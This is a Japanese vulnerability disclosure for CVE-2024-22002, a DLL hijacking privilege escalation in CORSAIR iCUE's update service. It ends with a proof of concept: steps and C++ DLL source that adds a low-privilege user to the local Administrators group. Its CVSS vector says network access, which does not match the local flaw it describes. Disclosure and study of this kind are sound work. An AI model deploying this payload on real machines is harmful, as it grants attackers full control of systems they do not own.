iCUE_DllHijack_LPE-CVE-2024-22002

脆弱なソフトウェアとバージョン

• ソフトウェアダウンロードリンク: CORSAIR iCUE v5.9.105（iCUE Murals対応）

説明

iCUE v5.9.105において、DLLハイジャックの脆弱性が確認されました。この脆弱性は、"iCUEUpdateService"サービスによって管理される更新プロセス中に発生します。このサービスは、"NT AUTHORITY\SYSTEM"権限で動作するプロセス（"cuepkg.exe"）を起動し、更新を実行します。プロセス開始時、iCUEインストールディレクトリ内の\cuepkg-1.2.6ディレクトリから様々なDLLを検索します。これらのDLLの一部はデフォルトでは存在しませんが、一般ユーザーがそのディレクトリにファイルを作成する権限を持っているため、攻撃者は悪意のあるDLLをそのディレクトリに仕込む可能性があります。その結果、この悪意のあるDLLがcuepkg.exeによって管理者権限でロードされます。

検出された影響を受けるDLLは以下の通りです：

• MSASN1.dll
• NTASN1.dll
• profapi.dll

CVSSベクター: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

• 基本値: 7.8（高）
• 時間評価値: 7.8（高）
• 環境評価値: 7.8（高）

PoC

例として、DLL profapi.dllを使用します。

1. 悪意のあるDLLを作成し、%INSTALLDIR%cuepkg-1.2.6ディレクトリに追加します。
2. プログラムが自動更新するのを待つか、またはこの場合は「更新を確認」をクリックして手動で更新を強制します。
3. 管理者権限を持たないユーザーがグループに追加されます。

悪意のあるDLLが実行される前のlowprivユーザーの権限:

悪意のあるDLLが実行された後のlowprivユーザーの権限:

• 悪意のあるコード例:

#include "pch.h"
#include <windows.h>
#include <cstdlib>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    {
        system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
    }
    break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }

    return TRUE;
}